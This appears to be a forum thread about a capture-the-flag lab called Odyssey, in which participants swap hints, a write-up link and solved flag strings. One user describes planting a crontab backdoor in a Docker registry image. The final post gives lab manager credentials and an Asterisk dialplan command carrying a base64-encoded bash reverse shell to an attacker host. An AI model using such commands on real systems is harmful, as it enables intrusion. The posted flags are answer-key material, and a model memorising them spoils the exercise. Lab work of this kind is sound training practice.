[braun33]

Hi everyone. I have a question, I saw that port 5000 (dockcer registry) is exposed on the .11 machine, I managed to push the image with a backdoor into the crontab. I was wondering is this the right way or am I wasting my time?

[admin123]

Hi everyone. I have a question, I saw that port 5000 (dockcer registry) is exposed on the .11 machine, I managed to push the image with a backdoor into the crontab. I was wondering is this the right way or am I wasting my time?

it's not about docker at .21.11  look  after .21.11:3000

[yivador274]

Hi everyone. I have a question, I saw that port 5000 (dockcer registry) is exposed on the .11 machine, I managed to push the image with a backdoor into the crontab. I was wondering is this the right way or am I wasting my time?

it's not about docker at .21.11  look  after .21.11:3000

any hints for .21.11:3000 ?
I saw a src in Julia with vuln. But it's seems that .21.11:3000 has another src - in nodejs.

and is it need to take root on .21.12 before that?

[yivador274]

Hi everyone. I have a question, I saw that port 5000 (dockcer registry) is exposed on the .11 machine, I managed to push the image with a backdoor into the crontab. I was wondering is this the right way or am I wasting my time?

it's not about docker at .21.11  look  after .21.11:3000

any hints for .21.11:3000 ?
I saw a src in Julia with vuln. But it's seems that .21.11:3000 has another src - in nodejs.

and is it need to take root on .21.12 before that?

Nevermind. I did it.

[monkeythefirst]

This is writeup:

https://gatogamer1155.github.io/endgames/odyssey/
Flag to open: ODYSSEY{50LaR15_R8AC_ADM1n15tRAT10n}

Not work for me manual for 3rd flag. Need help.

[macsemose]

ODYSSEY{k4r3Ful_WI7h_pDf_FiL32}
ODYSSEY{Ded1CA7eD_rU57_5ERVeR}

[monkeyNo1]

Hi everybody, i can not get 3-rd flag. I use proxy ligolo, command with shell not work:

Action: login
Username: aeolus
Secret: P7xJ6y6x

Action: command
Command: dialplan add extension test,1,system(echo\ YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEwLzQ0NDQgMD4mMSIK|base64\ -d|bash), into pwned replace   <-till this OK
{THIS COMMAND NOT WORK:}
Action: command
Command: originate local/test@pwned extension test@pwned

PLS any help. Thanks advance.